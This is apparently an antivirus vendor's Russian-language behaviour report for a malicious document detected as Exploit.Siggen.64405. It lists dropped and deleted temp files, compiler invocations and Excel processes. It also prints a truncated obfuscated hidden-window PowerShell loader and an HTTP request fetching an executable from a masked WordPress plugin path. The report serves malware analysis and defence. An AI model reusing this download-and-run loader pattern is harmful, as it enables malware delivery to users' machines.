Exploit.Siggen.64405

Техническая информация

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function ncf998 {param($ab31f51)$qeffd44='vc4d9';$d99e2='';for ($i=0; $i -lt $ab31f51.length;$i+=2){$leca11=[convert]::ToByte($ab31f51.Substring($i,2),16);$d99e2+=[char]($...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\qhi5zu-c.0.cs
%TEMP%\ood1x0dl.dll
%TEMP%\res2aa3.tmp
%TEMP%\csc2a83.tmp
%TEMP%\ood1x0dl.out
%TEMP%\ood1x0dl.cmdline
%TEMP%\ood1x0dl.0.cs
%TEMP%\wrapvt0v.dll
%TEMP%\resfd79.tmp
%TEMP%\cscfd68.tmp
%TEMP%\wrapvt0v.out
%TEMP%\wrapvt0v.cmdline
%TEMP%\wrapvt0v.0.cs
%TEMP%\qorg5oqz.dll
%TEMP%\rese29e.tmp
%TEMP%\csce28d.tmp
%TEMP%\qhi5zu-c.dll
%TEMP%\resdc16.tmp
%TEMP%\fh6bwtcs.dll
%TEMP%\resdb89.tmp
%TEMP%\cscdbf5.tmp
%TEMP%\cscdb88.tmp
%TEMP%\qorg5oqz.out
%TEMP%\qorg5oqz.cmdline
%TEMP%\qorg5oqz.0.cs
%TEMP%\fh6bwtcs.out
%TEMP%\fh6bwtcs.cmdline
%TEMP%\fh6bwtcs.0.cs
%TEMP%\qhi5zu-c.out
%TEMP%\qhi5zu-c.cmdline
%APPDATA%\pb2d36.exe
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{0d77464a-eab7-48e6-b55e-2a3bfcdcd7b4}.tmp

Удаляет следующие файлы

%TEMP%\resdb89.tmp
%TEMP%\qorg5oqz.out
%TEMP%\qorg5oqz.pdb
%TEMP%\resfd79.tmp
%TEMP%\cscfd68.tmp
%TEMP%\wrapvt0v.cmdline
%TEMP%\wrapvt0v.out
%TEMP%\wrapvt0v.pdb
%TEMP%\ood1x0dl.dll
%TEMP%\wrapvt0v.dll
%TEMP%\res2aa3.tmp
%TEMP%\csc2a83.tmp
%TEMP%\ood1x0dl.out
%TEMP%\ood1x0dl.cmdline
%TEMP%\ood1x0dl.0.cs
%TEMP%\qorg5oqz.dll
%TEMP%\wrapvt0v.0.cs
%TEMP%\qorg5oqz.0.cs
%TEMP%\qhi5zu-c.0.cs
%TEMP%\cscdb88.tmp
%TEMP%\resdc16.tmp
%TEMP%\cscdbf5.tmp
%TEMP%\qhi5zu-c.out
%TEMP%\qhi5zu-c.pdb
%TEMP%\qhi5zu-c.dll
%TEMP%\qhi5zu-c.cmdline
%TEMP%\csce28d.tmp
%TEMP%\fh6bwtcs.pdb
%TEMP%\fh6bwtcs.dll
%TEMP%\fh6bwtcs.cmdline
%TEMP%\fh6bwtcs.out
%TEMP%\fh6bwtcs.0.cs
%TEMP%\rese29e.tmp
%TEMP%\qorg5oqz.cmdline
%TEMP%\ood1x0dl.pdb

Сетевая активность

TCP

Запросы HTTP GET

http://www.ja##sa.com/wordpress/wp-content/plugins/sid/ce10gm3d.swj.exe

UDP

DNS ASK ja##sa.com

Другое

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function ncf998 {param($ab31f51)$qeffd44='vc4d9';$d99e2='';for ($i=0; $i -lt $ab31f51.length;$i+=2){$leca11=[convert]::ToByte($ab31f51.Substring($i,2),16);$d99e2+=[char]($...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qhi5zu-c.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fh6bwtcs.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qorg5oqz.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDB89.tmp" "%TEMP%\CSCDB88.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDC16.tmp" "%TEMP%\CSCDBF5.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE29E.tmp" "%TEMP%\CSCE28D.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wrapvt0v.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFD79.tmp" "%TEMP%\CSCFD68.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ood1x0dl.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2AA3.tmp" "%TEMP%\CSC2A83.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qhi5zu-c.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fh6bwtcs.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qorg5oqz.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDB89.tmp" "%TEMP%\CSCDB88.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDC16.tmp" "%TEMP%\CSCDBF5.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE29E.tmp" "%TEMP%\CSCE28D.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wrapvt0v.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFD79.tmp" "%TEMP%\CSCFD68.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ood1x0dl.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2AA3.tmp" "%TEMP%\CSC2A83.tmp"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding